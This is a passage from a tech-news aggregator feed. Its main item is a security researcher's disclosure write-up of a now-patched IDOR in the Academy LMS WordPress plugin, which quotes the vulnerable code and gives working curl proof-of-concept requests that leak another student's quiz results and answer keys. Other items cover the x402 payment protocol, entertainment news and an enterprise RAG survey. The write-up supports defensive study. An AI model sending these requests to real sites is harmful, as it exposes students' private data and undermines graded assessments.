<p class="wp-block-paragraph">“Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”</p>



<p class="wp-block-paragraph">Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.</p>



<p class="wp-block-paragraph">Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.</p>



<h2 class="wp-block-heading">Foundation targets a gap in agent-to-agent commerce</h2>



<p class="wp-block-paragraph">The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.</p>



<p class="wp-block-paragraph">Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.</p>



<p class="wp-block-paragraph">“By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.</p>



<p class="wp-block-paragraph">The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.</p>



<h2 class="wp-block-heading">How the protocol works</h2>



<p class="wp-block-paragraph">The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.</p>



<p class="wp-block-paragraph">The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.</p>



<p class="wp-block-paragraph">Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.</p>



<h2 class="wp-block-heading">Governance structure spans payments, cloud and blockchain sectors</h2>



<p class="wp-block-paragraph">Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.</p>



<p class="wp-block-paragraph">“This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.</p>



<p class="wp-block-paragraph">Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.</p>



<p class="wp-block-paragraph">According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.</p>



<h2 class="wp-block-heading">Growing ecosystem</h2>



<p class="wp-block-paragraph">The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.</p>



<p class="wp-block-paragraph">In May, AWS introduced <a href="https://aws.amazon.com/blogs/machine-learning/agents-that-transact-introducing-amazon-bedrock-agentcore-payments-built-with-coinbase-and-stripe/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore Payments</a> in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.</p>



<p class="wp-block-paragraph">The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Castlevania: Belmont’s Curse - Komani classic rises again from Paris sewers and Joan of Arc is a boss]]></title>
<description><![CDATA[Evil Empire creatives explain how it is playing to today’s ‘metroidvanias’ and honouring the original’s legacy with much fresh slaying to be doneSince the last Castlevania game hit the shelves (2014’s Castlevania: Lords of Shadow 2), Konami’s dormant series has unexpectedly spawned a hit genre. W...]]></description>
<link>https://tsecurity.de/de/3675337/it-nachrichten/castlevania-belmonts-curse-komani-classic-rises-again-from-paris-sewers-and-joan-of-arc-is-a-boss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675337/it-nachrichten/castlevania-belmonts-curse-komani-classic-rises-again-from-paris-sewers-and-joan-of-arc-is-a-boss/</guid>
<pubDate>Fri, 17 Jul 2026 09:18:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Evil Empire creatives explain how it is playing to today’s ‘metroidvanias’ and honouring the original’s legacy with much fresh slaying to be done</p><p></p><p>Since the last Castlevania game hit the shelves (2014’s<a href="https://www.theguardian.com/technology/2014/mar/02/castlevania-lords-of-shadow-2-dracula-sequel"> Castlevania: Lords of Shadow 2</a>), Konami’s dormant series has unexpectedly spawned a hit genre. With an entire generation raised on “metroidvanias” – a portmanteau of Metroid and Castlevania – millions of players have only ever seen the games <em>inspired by </em>Konami’s seminal games. Now with Belmont’s Curse, launching in October, Castlevania is finally dashing back to console, where Konami hopes to reclaim its side-scroller throne.</p><p>Set 23 years after the events of 1989’s Castlevania 3 – the same setting as the hit Netflix show – Belmont’s Curse shakes off the series’ 3D ambitions and takes the Belmonts back to basics. Dispatching players to the demon-infested streets of 1499 Paris, you’re placed in the tattered boots of Trevor Belmont’s daughter, Rose. As a bishop pleads with the Belmonts to rid Paris of the ancient evil besetting the city, Rose heads into the sewers, longsword in hand, and her demon-slaying adventure begins.</p> <a href="https://www.theguardian.com/games/2026/jul/17/castlevania-belmonts-curse-komani-classic-paris-joan-of-arc-is-a-boss">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Heartstopper Forever is the best farewell that fans could have hoped for as new Netflix movie makes Nick and Charlies the most vulnerable — and adult — they've ever been]]></title>
<description><![CDATA[Nobody wanted Nick and Charlie's love story to end, but new Netflix movie Heartstopper Forever does a more poignant job at saying goodbye than a season 4 ever could.]]></description>
<link>https://tsecurity.de/de/3675275/it-nachrichten/heartstopper-forever-is-the-best-farewell-that-fans-could-have-hoped-for-as-new-netflix-movie-makes-nick-and-charlies-the-most-vulnerable-and-adult-theyve-ever-been/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675275/it-nachrichten/heartstopper-forever-is-the-best-farewell-that-fans-could-have-hoped-for-as-new-netflix-movie-makes-nick-and-charlies-the-most-vulnerable-and-adult-theyve-ever-been/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nobody wanted Nick and Charlie's love story to end, but new Netflix movie Heartstopper Forever does a more poignant job at saying goodbye than a season 4 ever could.]]></content:encoded>
</item>
<item>
<title><![CDATA[Heartstopper Forever ending explained: are Nick and Charlie still together, who breaks up, Easter eggs you might have missed and where the gang will end up next]]></title>
<description><![CDATA[Nick and Charlie's love story has finally been brought to a close in new Netflix movie Heartstopper Forever. Here's the answer to every question you're going to want answered.]]></description>
<link>https://tsecurity.de/de/3675274/it-nachrichten/heartstopper-forever-ending-explained-are-nick-and-charlie-still-together-who-breaks-up-easter-eggs-you-might-have-missed-and-where-the-gang-will-end-up-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675274/it-nachrichten/heartstopper-forever-ending-explained-are-nick-and-charlie-still-together-who-breaks-up-easter-eggs-you-might-have-missed-and-where-the-gang-will-end-up-next/</guid>
<pubDate>Fri, 17 Jul 2026 09:03:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nick and Charlie's love story has finally been brought to a close in new Netflix movie Heartstopper Forever. Here's the answer to every question you're going to want answered.]]></content:encoded>
</item>
<item>
<title><![CDATA[Neo robot hands breakthrough can build LEGOs, unzip jackets, and open a bag of  Funyuns — I can't tell if I'm thrilled or terrified]]></title>
<description><![CDATA[Neo Beta hands may be the most human-like we've seen on a robot yet.]]></description>
<link>https://tsecurity.de/de/3674593/it-nachrichten/neo-robot-hands-breakthrough-can-build-legos-unzip-jackets-and-open-a-bag-of-funyuns-i-cant-tell-if-im-thrilled-or-terrified/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674593/it-nachrichten/neo-robot-hands-breakthrough-can-build-legos-unzip-jackets-and-open-a-bag-of-funyuns-i-cant-tell-if-im-thrilled-or-terrified/</guid>
<pubDate>Thu, 16 Jul 2026 22:32:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Neo Beta hands may be the most human-like we've seen on a robot yet.]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean 